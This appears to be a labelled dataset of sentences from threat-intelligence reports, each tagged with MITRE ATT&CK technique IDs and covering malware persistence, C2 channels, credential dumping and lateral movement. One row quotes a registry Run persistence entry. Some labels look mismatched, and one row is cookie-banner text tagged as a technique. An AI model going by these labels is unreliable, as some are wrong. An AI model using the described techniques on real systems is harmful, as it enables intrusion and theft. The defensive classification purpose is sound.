"""The spreadsheet also creates a scheduled task named """"windows update check"""" that runs the file C:\Users\<user_name>\.templates\System Manager.exe every minute. Figure 3 provides a snippet of VBA code that creates the scheduled task, clearly obfuscated to avoid simple detection""",T1053.005
The delivery of the malware to the final victim is either though an email or a Web based vector,T1189
"DSInternals is a legitimate tool which can be used for querying Active Directory servers and retrieving data, typically passwords, keys, or password hashes",T1036.005
"HermeticWiper enumerates a range of Physical Drives multiple times, from 0-100. For each Physical Drive, the \\.\EPMNTDRV\ device is called for a device number",T1082
"Since the 2016 publication, Microsoft has come across an evolution of PLATINUM's file-transfer tool, one that uses the Intel® Active Management Technology (AMT) Serial-over-LAN (SOL) channel for communication. This channel works independently of the operating system (OS), rendering any communication over it invisible to firewall and network monitoring applications running on the host device",T1095
"To have some minimal form of obfuscation from prying eyes, the strings in the backdoor are compressed and encoded in Base64, or their hashes are used instead",T1027
"The BLUELIGHT malware family uses different cloud providers to facilitate C2. This specific sample leveraged the Microsoft Graph API for its C2 operations. Upon start-up, BLUELIGHT performs an oauth2 token authentication using hard-coded parameters. Once the client is authenticated, BLUELIGHT creates a new subdirectory in the OneDrive appfolder and populates it with several subdirectories used by the C2 protocol. The following subdirectory names were used",T1102.002 | T1071.001
"The actors used valid credentials obtained using MimiKatz variants to escalate privileges. We've observed Mimikatz being executed both from the file system of victim hosts and via PowerShell cmdlets executed via Cobalt Strike BEACON. In multiple instances, the actors have launched attacks against Kerberos, including the use of RUBEUS, the MimiKatz Kerberos module, and the Invoke-Kerberoast cmdlet",T1558.003
"After the files are encrypted, the decrypter program attempts to delete any Windows Shadow Copies via this command",T1570
"If the user account doesn't have local administrative or domain administrative permissions, the adversary attempts to discover which local or domain admin accounts exist, and exfiltrates the admin's usernames. To identify if privileged users are active on remote servers, the adversary makes use of PsLogList from Microsoft Sysinternals to retrieve the Security event logs. The built-in Windows quser-command to show logged on users is also heavily used by them",T1069.001
The email contains a web link for a Microsoft Word document. The Word document has macro code that retrieves a Windows executable for GuLoader. The executable retrieves an encrypted data file used for NetWire,T1204.002
"What is even more disturbing is that it can remotely activate the victim's webcam and microphone and spy on the victim by taking pictures and recording sound. Screen activity can be monitored by capturing screenshots. What is particularly interesting about InvisiMole is that not only are the usual ""whole display"" screenshots taken - it can separately capture each window, which helps the attackers gain more information even when the windows are overlapped",T1125
"The 2018 variants of MCMD have the added ability to upload files from the infected device. The file is taken from the path shown in Table 2 but is uploaded with a filename comprised of the current value of the GetTickCount API call plus the .dat file extension. Figure 5 shows the format used during the file upload performed via HTTPS POST, with the file transmitted as raw binary data",T1005
"As seen in the screenshot above, data is passed into a decryption function before being used in a call to GetModuleHandleA. Before the hashing routine uses the module handle, the decrypted string representing the function name has its associated heap space freed and may be later overwritten. However, the reconstruction of this data is straightforward within the two core decryption algorithms we have observed. The first one relies on an encrypted blob whose first value is interpreted as the size of the decrypted data in DWORD (four-byte) chunks",T1140
"Because it can self-propagate, Emotet presents a particular challenge for organizations. Once on a computer, Emotet downloads and executes a spreader module that contains a password list that it uses to attempt to brute force access to other machines on the same network",T1110.001
"The outputs of the batch file included Active Directory users, computers, organizational units, subnets, groups, and trusts. With these outputs, FIN6 was able to identify user accounts that could access additional hosts in the domain. For lateral movement, FIN6 used another set of compromised credentials with membership to additional groups in the domain to RDP to other hosts",T1482
"The ""AdapterTroubleshooter.exe"" file is a legitimate binary which is leveraged to use the famous DLL search order hijacking technique. Once loaded, the DLL will then inject FinSpy into the Winlogon process",T1574.001
"Upon infection the malware copies itself to %appdata%\microsoft\microsoft [0-9]{9-15}\dwm.exe (9-15 digits in directory name ""Microsoft""), and adds a link to the malware executable in the startup folder for persistence",T1547.001
"Cobalt Strike appears to be one of BRONZE PRESIDENT's preferred remote access tools. During one intrusion, the threat actors installed it on over 70% of accessible hosts. The group's Cobalt Strike installation typically uses a payload named svchost.exe in an attempt to disguise Cobalt Strike activity as the legitimate Windows svchost.exe executable. Its functionality includes uploading and downloading files, and it has configurable network protocols. The tool uses the Windows Management Instrumentation (WMI) event consumer for persistence by installing a script to the system's WMI registry. RCSession - This basic RAT is installed via DLL side-loading, and CTU researchers observed BRONZE PRESIDENT installing it on multiple hosts during intrusions. RCSession was extracted from a file called English.rtf and launched via a hollowed svchost.exe process. CTU researchers have no evidence of other threat actors using RCSession or of wide proliferation of the tool, suggesting it may be exclusively used by BRONZE PRESIDENT. Nbtscan being used via RCSession to scan an internal IP range. Wmiexec - This publicly available tool uses WMI to create SYSTEM-level shells on remote hosts",T1036
"SDBbot stores its C&Cs in a plaintext string or file (""ip.txt""). It uses a plaintext protocol over TCP port 443; an example session is shown in Figure 14",T1095
"After the additional modules are hidden, the malware will launch itself by using DLL Search Order Hijacking",T1574.001
Since version 0.1.6 Returns endpoints for the given protocol for the given email address. If the email address is invalid (i.e. the user does not exists) this takes ages,T1589.002
"When executed, it pings google DNS (8.8.8.8) to test internet connectivity, then proceeds to drop a VNC client and establishes a connection to a remote C&C server controlled by the attackers",T1016.001
"Trojan.Killdisk comes in the form of an executable file, which is signed by a certificate issued to Hermetica Digital Ltd. The driver files are signed by a certificate issued to EaseUS Partition Master",T1553.002
"Pay2Key generates a pair of RSA keys and sends the public key to the server over raw TCP. The keys will be used to set up secure communication between the ransomware and the server. After sending the key, the ransomware will wait for messages from the server",T1095
"In November 2018, we covered a Trickbot variant that came with a password-grabbing module, which allowed it to steal credentials from numerous applications. In January 2019, we saw Trickbot (detected as TrojanSpy.Win32.TRICKBOT.AZ and Trojan.Win32.MERETAM.AD) with new capabilities added to its already extensive bag of tricks. Its authors clearly aren't done updating Trickbot - we recently found a new variant that uses an updated version of the pwgrab module that lets it grab remote application credentials",T1552.001
"The adversary started a password spraying attack against those domain admin accounts, and successfully got a valid domain admin account this way. We observed the use of Mimikatz on this system and saw the hashes of the logged in domain admin account going through the command and control channel of the adversary. The adversary used a tool called NtdsAudit to dump the password hashes of domain users as well as we observed the following command",T1550.002
"GRIM SPIDER also has been observed selecting a server to be the primary staging point. Subsequently, the adversary copies the Microsoft SysInternals PSTools archive to this system, and executes PsExec.exe, a utility that allows them to move laterally and execute commands on other Windows systems within the infrastructure. Using this common administrator tool, GRIM SPIDER can traverse the network, remotely installing TrickBot and adding persistence to new targets. TrickBot also has the shareDll module for propagating to other hosts using the current, active user credentials",T1053.005 | T1059.001
"Once on the intended target's network, the threat actors used privileged credentials to access the victim's domain controller typically via RDP. Once on the domain controller, the threat actors used the batch scripts ""dc.bat"" and ""dit.bat"" to enumerate hosts, users, and additional information about the environment. The observed outputs (text documents) from these scripts were",T1069.002 | T1016 | T1087.002
"To fully exploit a target environment, IRON TWILIGHT used the XAgent (also known as Chopstick) modular remote access trojan (RAT) and the XTunnel persistent backchannel tool. XAgent can jump air-gapped networks by infecting USB storage devices and can be used against Windows and Unix-based operating systems. XAgent variants such as Komplex provide RAT functionality on the Mac OS X operating system, and the threat group maintains variants that operate on Apple iOS and the Google Android mobile operating systems. XTunnel provides IRON TWILIGHT with secure access to a compromised environment though a back connection created by the malware to a command and control (C2) server",T1091
"""The backdoor installer will drop a normal sidebar.exe file (a Windows Gadget tool, a feature already discontinued by Windows), a malicious loader (in """"C:\ProgramData\Apple\Update\wab32res.dll""""), and an encrypted configuration file. UserInstall.exe will abuse the BITSadmin command-line tool to create a job and launch sidebar.exe""",T1197
"If the message starts with a K, it executes a kubectl command to the cluster using the paths it found earlier by running the command %ls %s --kubeconfig=%ls where: The first parameter is the global variable of the kubectl's path. The first parameter is the global variable of the kubectl's path. If the message starts with a C, it simply runs the command minus the first character as a regular Windows cmd command",T1609
It uses masscan to search for kubelets in Kubernetes' internal network. It uses kubelet's API to search for running containers in a particular node,T1046 | T1046 | T1613
"The dropper then creates following registry entry to execute the Bisonal sample when the computer reboots: HKEY_CURRENT_USER \Software\Microsoft\Windows\CurrentVersion\Run\""vert"" = ""rundll32.exe c:\windows\temp\pvcu.dll , Qszdez",T1218.011
"Basically, the bot provides the attacker with an ability to control an infected PC using a remote shell, RDP or VNC console. It provides remote task and file managers, streams the desktop to the attacker, allows using a web camera, and more",T1021.001
"In addition to the previously described trick EvilBunny performs hook detection to trick environments which hook time retrieval APIs. Every API is called twice to calculate a delta, while performing a sleep(1000) operation between iteration one and iteration two. The final condition is, if any of the three deltas is below 998 milliseconds execution will abort. This can only be the case if any of the three API's return values is modified by a system monitoring solution, like a sandbox",T1497.003
"The C2 server will respond to requests from MobileOrder with commands that the Trojan refers to as ""orders"". MobileOrder contains a command handler with functionality that provides a fairly robust set of commands, as seen in Table 6. The first byte of data provided by the C2 server is order number, which is followed by the encrypted data that needed to carry out the specific order",T1041
"This is a common trait in ThreatNeedle loaders. The most common example we've seen is similar to the ThreatNeedle installer - the malware decrypts an embedded string using RC4, and compares it with the parameter ""Sx6BrUk4v4rqBFBV"" upon launch. If it matches, the malware begins decrypting its embedded payload using the same RC4 key. The decrypted payload is an archive file which is subsequently decompressed in the process. Eventually, the ThreatNeedle malware spawns in memory",T1140
Interestingly the malware appears to first checks to make sure the received command is for the actual host - via a call to a function named check_if_targeted. This function extracts values received from the server checking that,T1622
"""These malicious documents used by Konni APT have been weaponized with the same simple but clever macro. It just uses a Shell function to execute a one-liner cmd command. This one liner command gets the current active document as input and looks for the """"^var"""" string using findstr and then writes the content of the line staring from ""var"" into y.js""",T1057
"The adversary used the built-in lateral movement possibilities in Cobalt Strike. Cobalt Strike has various methods for deploying its beacons at newly compromised systems. We have seen the adversary using SMB, named pipes, PsExec, and WinRM",T1569.002
"Despite the notion that modern cybersecurity protocols have stopped email-based attacks, email continues to be one of the primary attack vectors for malicious actors - both for widespread and targeted operations. Recently, Cisco Talos has observed numerous email-based attacks that are spreading malware to users at both a large and small scale. In this blog post, we analyze several of those campaigns and their tactics, techniques and procedures (TTPs). These campaigns were all observed between mid-May and early July of this year, and can likely be attributed to one, or possibly two, groups. Other researchers have attributed these attacks to a group known as the Cobalt Gang, which has continued its activities even after the arrest of its alleged leader in Spain this year. The attacks we will be highlighting generally start with an email campaign, often targeted toward financial institutions. The malicious emails display a strong command of the English language, and their content may have been taken from legitimate emails relevant to the business of the targeted organization. The emails either contain a URL pointing to one of the three document types or have initial attack stages attached outright. It is essential to be aware of these attacks as emails look legitimate, but can result in the installation of a payload that can inflict significant financial damage to the targeted organization",T1566.002 | T1566.001
"Before evidence of BlackEnergy2 use in targeted attacks was uncovered, we tracked strange activity on one of the BlackEnergy CnC servers in 2013. This strangeness was related to values listed in newer BlackEnergy configuration files. As described in Dmitry's 2010 Black DDoS' analysis, a configuration file is downloaded from the server by main.dll on an infected system. The config file provides download instructions for the loader. It also instructs the loader to pass certain commands to the plugins. In this particular case in 2013, the config file included an unknown plugin set, aside from the usual 'ddos' plugin listing. Displayed below are these new, xml formatted plugin names ""weap_hwi"", ""ps"", and ""vsnet"" in a BlackEnergy configuration file download from a c2 server. This new module push must have been among the first for this group, because all of the module versions were listed as ""version 1"", including the ddos plugin",T1083
"When compromising staging target networks, the threat actors used spear-phishing emails that differed from previously reported TTPs. The spear-phishing emails used a generic contract agreement theme (with the subject line ""AGREEMENT & Confidential"") and contained a generic PDF document titled ``document.pdf. Note the inclusion of two single back ticks at the beginning of the attachment name. The PDF was not malicious and did not contain any active code. The document contained a shortened URL that, when clicked, led users to a website that prompted the user for email address and password. Note: no code within the PDF initiated a download",T1598.003
It uses a WMIC interface to identify antivirus products installed on the compromised computer and firewall details,T1047 | T1518.001
"Global Targeting Using New Tools . Leveraging its global footprint, FireEye has detected APT10 activity across six continents in 2016 and 2017. It communicates encoded system information to a single hard coded command and control (C2) server, using the system's default User-Agent string. BUGJUICE defaults to TCP using a custom binary protocol to communicate with the C2, but can also use HTTP and HTTPs if directed by the C2. It has the capability to find files, enumerate drives, exfiltrate data, take screenshots and provide a reverse shell. The malware's capabilities include taking a system survey, access to the filesystem, executing commands and a reverse shell. The versions used by APT10 (1.3.4.0, 2.0.0.0, and 2.0.0.1) are not available via the public GitHub page, indicating that APT10 has further customized the open source version. Traditional and Novel Methods . This recent APT10 activity has included both traditional spear phishing and access to victim's networks through service providers. In addition to the spear phishes, FireEye ISIGHT Intelligence has observed APT10 accessing victims through global service providers. APT10 actors issued the following commands to a SOGU implant at a victim: These commands included setting persistence on the victim's system. Once connectivity to the service provider IP was verified, the actor established the service provider IP as a proxy for the victim's SOGU backdoor",T1018
9 COMRAT Features: - command execution; - file download; - file upload; - information gathering; - C&C communication via HTTP requests,T1071.001
"This extreme level of variance was also applied to non-executable entities, such as WMI persistence filter name, WMI filter query, passwords used for 7-zip archives, and names of output log files. Tools and binaries used by the attackers (e.g. ADFIND legit tool) were always renamed and placed in folders that mimicked existing programs and files already present on a machine. This blending was not just used for files, but for other elements. Before running intensive and continued hands-on keyboard activity, the attackers took care of disabling event logging using AUDITPOL and re-enabling it afterward. In a similar way, before running noisy network enumeration activities (such as repeated NSLOOKUP or LDAP queries), the attackers carefully prepared special firewall rules to minimize outgoing packets for certain protocols. The firewall rules were also methodically removed after the network reconnaissance was completed. We believe that the attackers used timestomping to change timestamps of artifacts and also leveraged professional wiping procedures and tools to complicate finding and recovering of DLL implants from affected environments",T1482
"We not only found the initial entry point, but we were able to follow Seedworm's subsequent activity after the initial infection due to the vast telemetry Symantec has access to via its Global Intelligence Network",T1560.001
Analyzing Kobalos isn't as trivial as most Linux malware because all of its code is held in a single function that recursively calls itself to perform subtasks,T1027
"The CRYPTO Mimikatz module provides advanced capability to interface with Windows cryptographic functions (CryptoAPI). Typical use is to export certificates that aren't marked as ""exportable",T1552.004
open_link for reading content from the command-and-control (C&C) server - down_exec for downloading and execute a file - shell to run a command line shell command - locker to run the ransomware routine - kill to terminate a process or itself,T1059.003
"The SodaMaster module also shows an anti-VM feature. The malware looks for the presence of the registry key ""HKEY_CLASSES_ROOT\\Applications\\VMwareHostOpen.exe"" on the victim's system before proceeding to its main functionality. This registry key is specific to the VMware environment",T1012 | T1497.001
"One of the most interesting payloads in these attacks is the Anchor_DNS malware, which was originally discovered in October 2019 by NTT Security. It is classified by NTT as a variant of the infamous TrickBot malware, which uses DNS tunneling to stealthily communicate with C2 servers. Though this variant was first discovered in October 2019, there is evidence that Anchor_DNS was used as far back as March 2019",T1071.001
"Daserf - This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. It uses RC4 encryption and custom Base64 encoding to obfuscate HTTP traffic. CTU researchers identified two versions of Daserf written in Visual C and Delphi. Datper uses an RC4-encrypted configuration to obfuscate HTTP traffic. xxmm (also known as Minzen) - This RAT and likely successor to Daserf AES-encrypts HTTP communications using a one-time encryption key. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. MSGet - This persistent downloader uses a dead-drop resolver (DDR) to download and execute another malicious payload. Source: Secureworks) - RarStar - This custom tool uploads RAR archives to a specified URL as POST data (see Figure 6). RarStar encodes the POST data using Base64 and a custom XOR algorithm. Use the 'at' or 'schtask' commands to register a scheduled task to be executed in a few minutes. Use malware to upload the large list of enumerated files to the C2 server",T1132.001
"After GOLD GARDEN's retirement announcement, REvil activity increased with expanded delivery methods such as malicious spam campaigns and RDP attacks. This surge suggests that the ransomware operators deemed it ready for public release. On June 20, REvil was leveraged in a strategic web compromise (SWC) against the Italian WinRAR . it website, replacing the WinRAR installation executable with an instance of the malware to infect customers' systems",T1195.002
"""The data is XOR encoded into a binary blob and uploaded. All further reconnaissance and command response data is similarly encoded. This version of the implant used the """".jpg"""" extension for nearly all files uploaded regardless of their content, with different subdirectories and base filenames indicating different types of command data. The reconnaissance data, for instance, is uploaded to the """"logo/title.jpg"""" path""",T1560.003
"PlugX executes DLL hijacking with benign applications such as ESET antivirus, Adobe Update etc. However, the way the PlugX loader launches the payload is different from how it was done for the previous versions. Also, the PlugX that Mustang Panda APT uses has some extra features, including spreading through USB, gathering information, and stealing documents in air-gaped networks via USB",T1052.001 | T1091
"The attackers also bundled a stripped down, 11 year old copy of the VirtualBox hypervisor inside the .msi file, which runs the VM as a ""headless"" device, with no user-facing interface. Weaponized virtual machine . The Maze attackers delivered the attack components for the third attack in the form of an .msi installer file. The root of that virtual disk contained three files associated with the Maze ransomware: preload.bat, vrun.exe, and a file just named payload (with no file extension), which is the actual Maze DLL payload. The attack payload was a 122 MB installer with a 282 MB virtual image inside-all to conceal a 49 kB ransomware executable. The Maze attackers took a slightly different approach, using a virtual Windows 7 machine instead of XP. The virtual machine (VM) that Sophos extracted from the Maze attack shows that this (newer) VM is configured in such a way that it allows easy insertion of another ransomware on the attacker's 'builder' machine. But the cost in terms of size is signficant: The Ragnar Locker virtual disk was only a quarter the size of the nearly 2GB virtual disk used in the Maze attack-all just to conceal one 494 KB ransomware executable from detection. The attackers also executed the following commands on the host computer during the Maze attack: This ran the Microsoft Installer that installs VirtualBox and the virtual hard drive. The Maze threat actors have proven to be adept at adopting the techniques demonstrated to be successful by other ransomware gangs, including the use of extortion as a means to extract payment from victims. Peter has been with Sophos since 2011 and specialises in ransomware attacks",T1218.007
"It uses the arguments to build a path for a launch item (here, launch agent) property list (/Users/user/Library/LaunchAgents/com.apple.questd.plist), as well then configuring said plist",T1059.002 | T1543.001
"To make it run automatically when the system starts, it adds itself (runs filename.vbs) to the system registry as a startup program",T1547.001
"The malware will establish persistence by adding an entry to the registry. For example, the NetWire malware value under the Microsoft Run registry ""ruj"" points to the NetWire payload in the AppData directory",T1547.001
"Transmits payloads in modified RC4-encrypted chunks. This hardens the encryption of the network communication, as a single RC4 key will not decrypt the entire payload. Clears the host's DNS cache every time it attempts to connect to its C2 server, thereby requiring that the host resolve the current IP address for the malicious C2 domain each time. Generates unique session keys for each connection to the C2 server. Obscures its connection protocol by connecting to the C2 server over a common port (443), thereby blending in with normal SSL network traffic. Uses position independent code (PIC) to throw off static analysis tools",T1573.001
"A command that was not available in the original PowerShell variant of RogueRobin but is available with the new C# variant is the x_mode. This command is particularly interesting as it enables an alternative command and control channel that uses the Google Drive API. The x_mode command is disabled by default, but when enabled via a command received from the DNS tunneling channel, it allows RogueRobin to receive a unique identifier and to get jobs by using Google Drive API requests",T1102.002
"In addition, OceanLotus is also known to use 'watering hole attacks', which involve the compromise of a website that the victim is likely to visit. In this scenario, the 'prey' is tricked into downloading and executing a fake installer or fake update for popular software from the booby-trapped website. Whatever the method of compromise, ultimately the same backdoor is deployed",T1189
"Some plugins remain mysterious and their purpose is not yet clear, like 'usb' and 'bios'. Why would the attackers need information on usb and bios characteristics. It suggests that based on a specific USB and BIOS devices, the attackers may upload specific plugins to carry out additional actions. Perhaps destructive, perhaps to further infect devices",T1120
"After the code is successfully injected into one of the above processes, the loader uses several methods to autorun from the victim's machine",T1055.012 | T1055.013
"EarthWorm, a simple network tunnel with SOCKS v5 server and port transfer functionalities - Mimikatz, and various versions including SafetyKatz - Nbtscan, a command line NetBIOS scanner for Windows - NetCat, a networking utility that reads and writes data across network connections - PortQry, a tool to display the status of TCP and UDP ports on remote systems - SMBTouch, used to determine whether a target is vulnerable to EternalBlue - Various tools from the ShadowBrokers dump of NSA tools including, but not limited to: DoublePulsar EternalBlue EternalRocks EternalSynergy - DoublePulsar - EternalBlue - EternalRocks - EternalSynergy",T1046 | T1095 | T1049
"TSCookie supports multiple communication protocols (HTTP, HTTPS and custom protocol). The protocol that each sample uses is described in its configuration. If it is configured to use HTTP protocol, the following HTTP POST request is sent",T1071.001
"To hide malicious functionality - persistence and C&C communication - from static detections, the malware uses a common obfuscation technique known as ""stackstrings"" to build wide char strings",T1027
"""There is a normal usage of the Windows registry to provide a method of persistence for this RAT by adding in a registry key in the RUN hive which will execute the Python script """"launcher.py. During our investigation, we witnessed several registry modifications that resulted in the malware skipping the sandbox evasion checks and carrying out the execution by using a """"police"""" keyword. This could be used for hosts already infected to ensure they do not re-check this environment. Start routine The communication between the scripts is done via a file called """"Abibliophobia23"""" Commands and results are written into the file using a custom encryption scheme. Obfuscation algorithm It uses a char substitution cipher where the new char code is obtained after performing mathematical operations on the char code to be encrypted using the key parameters""",T1027
"After the malware sends system information, the C&C server responds with a command DWORD. Depending on the command, the C&C server then sends additional arguments. Some of the commands (mostly the shell and video related ones) make use of 48-byte data structures to store various data. There are other commands which create, delete, and query the status of these data structures, so it is defined in Figure 15",T1059.003
"""The malware performs connection to the C2 server by using InternetOpenA() with an hardcoded User-Agent: """"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322"""". Note the missing parenthesis at the end of the User-Agent. This variant has exactly the same features as the previous variant: file listing, OS version getting, process killing, drive listing, execution via ShellExecuteW(), execution via named pipe, cleaning, file removal, file downloading. Here is an example of code similarities on the execution via named pipe function. On the left a sample from Bisonal 2014 and on the right Bisonal 2011""",T1204.002
1) Adds a registry entry in the current user's RUN key (HKCU) for later execution when the user next logs in. The registry keys and executables may vary from one version of the malware to another,T1547.001 | T1218.011
"The batch file kill.bat contains commands for stopping services, disabling services and killing processes. The processes and services are stopped to ensure no open handles exist for files that will be encrypted",T1489
"bk"" allows the reverse SSH tunnel to be set up using a C&C specified remote host instead of the hardcoded C&C server",T1573.002
"The install.bat script then goes on to enumerate all local disks, connected removable drives and mapped network drives on the physical machine, so they can be configured to be accessed from within the virtual machine",T1120
"The payload also employs anti-debugging and evasion techniques by using windows APIs to make the research and detection of the malware difficult, as depicted below",T1106
"The file that we analyzed has a timestamp of ""2021-12-28"". This wiper-ware got its name because the attackers used a code-signing certificate issued to ""Hermetica Digital Ltd. This traces back to a small videogame design business based in Cyprus with no links to Russia that claims it never applied for a digital certificate, pointing to possible identity theft. Operating systems use code-signing as an initial check on software, so it may have been designed to help the rogue program dodge anti-virus protections",T1553.002
"After displaying the error dialog box, the Trojan will sleep for two seconds by running the following command that runs the choice application. The use of the choice command, as seen below, did not appear in previous versions of OopsIE and appears to have been added in the most recent version used in this attack. With the Trojan moved its final location, it will then create a scheduled task to run a VBScript to make sure it runs persistently. The Trojan accesses two resources, named Sch and VBS that contains obfuscated strings that contain the command to create the scheduled task and the VBScript to run. This differs from the previous OopsIE variant that used a hardcoded task name for the scheduled task. The %path% string in the scheduled task command will be replaced with the path to the following: %APPDATA%\Windows\ShwDoc.VBS The decoded string from the VBS resource is written to ShwDoc.VBS. This process ultimately attempts to run the Trojan every three minutes, which is important as OopsIE relies on this scheduled task as it does not include a main loop to continue its execution. After creating this scheduled task for persistence, the Trojan will begin communicating with its C2 server. Also, the oops string used to signify and erroneous transmission from the C2, which gave OopsIE its name is reversed to spoo. The command handler in this OopsIE variant is very similar to the previous version, as it contains the same three (1, 2 and 3) commands seen in Table 2",T1053.005
"We observed the use of Cobalt Strike's C2 protocol encapsulated in DNS by the adversary in 2017 and 2018. They switched to C2 encapsulated in HTTPS in Q3 2019. An interesting observation is they made use of a cracked/patched trial version of Cobalt Strike. This is important to note because the functionalities of Cobalt Strike's trial version are limited. More importantly: the trial version doesn't support encryption of command and control traffic in cases where the protocol itself isn't encrypted, such as DNS. In one intrusion we investigated, the victim had years of logging available of outgoing DNS-requests. The DNS-responses weren't logged. This means that only the DNS C2 leaving the victim's network was logged. We developed a Python script that decoded and combined most of the logged C2 communication into a human readable format. As the adversary used Cobalt Strike with DNS as command & control protocol, we were able to reconstruct more than two years of adversary activity",T1572
"One other interesting aspect of the injector is its ability to load an assembly into an unmanaged process. This is accomplished with a native bootstrapper DLL, which gets injected into the remote process and prepares it so a .NET assembly can be injected afterwards",T1055.001
"NavRAT is a remote access trojan (RAT) designed to upload, download and execute files. The malware's author logs every action to a file (encoded). It's not often we are able to use the attacker's own logging capability to facilitate analysis, which can make our research easier. NavRAT starts by copying itself (~emp.exe) to the %ProgramData%\Ahnlab\GoogleUpdate.exe path. NavRAT then creates a registry key in order to execute this file copy at the next reboot of the system, an initial method of persistence. The log files mentioned previously are stored in the same directory as NavRAT on the victim machine, again making it easy for us to find and analyse the additional log files. NavRAT has support for process injection. By using this method, it will copy itself into a running Internet Explorer process in order to avoid detection by running as an independent process. The malware uses the Naver email platform in order to communicate with the operators",T1547.001
"""This sample has a custom """"decryption"""" routine that subtracts six from each character. The following strings are decrypted using this method""",T1140
The tools uploaded to the webshells range from legitimate applications such as cURL to post-exploitation tools such as Mimikatz,T1210
"The first spam run on August 31 used a Rich Text Format (RTF) document laden with malicious macros. The second, which ran from September 20 to 21, used an exploit for CVE-2017-8759 (patched last September), a code injection/remote code execution vulnerability in Microsoft's .NET Framework. The vulnerability was used to retrieve and execute Cobalt Strike from a remote server they controlled. We also saw other threat actors using the same security flaw of late, like the cyberespionage group ChessMaster",T1059.003
"Even though the victims required MFA to access cloud resources from all locations, including on premises, the threat actor managed to bypass MFA through the theft of Chrome browser cookies. The threat actor accomplished this by using administrative accounts to connect via SMB to targeted users, and then copy their Chrome profile directories as well as data protection API (DPAPI) data. In Windows, Chrome cookies and saved passwords are encrypted using DPAPI",T1550.004 | T1539
"This routine won't always be observed, however, as it would only be performed randomly. kaudited - A file installed as /usr/bin/kaudited. To ensure that the infected machine won't crash due to the kernel-mode rootkits, it uses different modules for specific kernel versions. The kaudited binary also drops a watchdog component that will monitor the cryptocurrency miner file and process",T1083
"The OilRig group remains highly active in their attack campaigns while they continue to evolve their toolset. On January 8, 2018, Unit 42 observed the OilRig threat group carry out an attack on an insurance agency based in the Middle East. In both attacks, the OilRig group attempted to deliver a new Trojan that we are tracking as OopsIE. The January 8 attack used a variant of the ThreeDollars delivery document, which we identified as part of the OilRig toolset based on attacks that occurred in August 2017. Instead, this attack involved delivering the OopsIE Trojan directly to the victim, most likely using a link in a spear phishing email. A New Attack On January 8, 2018, the OilRig threat group sent an email with the subject Beirut Insurance Seminar Invitation to an insurance agency in the Middle East. In the January 16, 2018 attack, we observed OilRig attacking an organization it previously targeted in January 2017. In this case, the ThreeDollars delivery document was not used and instead an attempt was made to deliver the OopsIE Trojan directly to the targeted organization, likely via a link within an email. While this is not a new tactic, this is the first instance where we have observed the OilRig using it in their playbook. As we have observed throughout our tracking of the OilRig group, adopting proven tactics has been a common behavior over time",T1059.003
"Once executed, the loader uses a timer in order to delay the execution. This is likely used as an anti-sandbox method. After the delayed time has passed, the loader starts executing its core functionality",T1497.003
"We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. This is beneficial for the website, in order to make valid reports on the use of their website.Expiry: PersistentType: HTMLrc::cThis cookie is used to distinguish between humans and bots. Expiry: SessionType: HTMLKaspersky Lab2Learn more about this providertest [x2]Used to detect if the visitor has accepted the marketing category in the cookie banner. Expiry: SessionType: HTTPMarketo2Learn more about this provider__cf_bmThis cookie is used to distinguish between humans and bots. Expiry: 2 yearsType: HTTP25 Marketing cookies are used to track visitors across websites. This can be used for marketing purposes. Expiry: 3 monthsType: HTTPMarketo1Learn more about this provider_mkto_trkContains data on visitor behaviour and website interaction. This is used in context with the email marketing service Marketo.com, which allows the website to target visitors via email",T1016
"An individual who goes by the name LZX in some online forums is believed to be the original author of ZxShell. Since ZxShell has been around since at least 2004, numerous people have purchased or obtained the tools necessary to set up ZxShell command and control servers (C&C) and generate the malware that is placed on the victim's network. ZxShell has been observed to be distributed through phishing attacks, dropped by exploits that leverage vulnerabilities such as CVE-2011-2462, CVE-2013-3163, and CVE-2014-0322",T1190
"This archive contains two files, one a benign document and one an executable. The operator tries to fool the victim by naming the executable with an apparent document or image file name by incorporating the ""double extension"" trick.. This new campaign, depicted as Case 3 in Figure 1, uses a more involved procedure. One of the early checks made by the malware is for the existence of a specific path used to drop every file used during its execution. It starts the executable - audev.exe and checks in the list of processes to see if one of them contains the string audev. Delphi mail downloader . The main role of this downloader is to assess the importance of the compromised system and, if it is deemed important enough, to download and execute Zebrocy's last downloader. Emails and passwords are used by the operator to send commands to the malware and also to retrieve information harvested from the victim's computer. Capabilities . While there are some conditions and order in the execution flow to collect information about the victim, the following section describes different gathering capabilities. For each file found on the disk, it retrieves the full path and the last modified date of the file. The Subject: of the mail is the id of the victim and the file is sent as an attachment with a keyword corresponding to the file content. For example, for a scan command, the operator receives a file that contains the list of files matching the scan extensions along with each matching file",T1083
"In this campaign, the group sent spear phishing emails containing malicious documents that led to the installation of the UPPERCUT backdoor. This backdoor is well-known in the security community as ANEL, and it used to come in beta or RC (release candidate) until recently. Part of this blog post will discuss the updates and differences we have observed across multiple versions of this backdoor",T1566.001
Reaver encrypts this data using an incremental XOR key and uploads it to the configured remote server on the port specified,T1560.003
"This Korean-language file used the control server IP address 203.131.222.83. The implant is nearly identical to an unknown 2017 sample (8f2918c721511536d8c72144eabaf685ddc21a35) except that the control server addresses are different. The 2017 sample used address 14.140.116.172. Both implants specifically use FakeTLS with PolarSSL, which we saw in previous Hidden Cobra implants. PolarSSL libraries have appeared in implants since the Sony Pictures incident and were used exclusively in the implant Backdoor.Destover. This implant incorporated a custom control server protocol that sends traffic over port 443. The implementation does not format the packets in standard SSL, but rather in a custom format and transmitted over SSL-hence, FakeTLS. The control server traffic when compared to Backdoor.Escad is nearly identical",T1001.003
"CTU researchers have discovered numerous details about TG-3390 operations, including how the adversaries explore a network, move laterally, and exfiltrate data. As shown in Figure 11, after compromising an initial victim's system (patient 0), the threat actors use the Baidu search engine to search for the victim's organization name. If the OwaAuth web shell is ineffective because the victim uses two-factor authentication for webmail, the adversaries identify other externally accessible servers and deploy ChinaChopper web shells. Within six hours of entering the environment, the threat actors compromised multiple systems and stole credentials for the entire domain",T1078
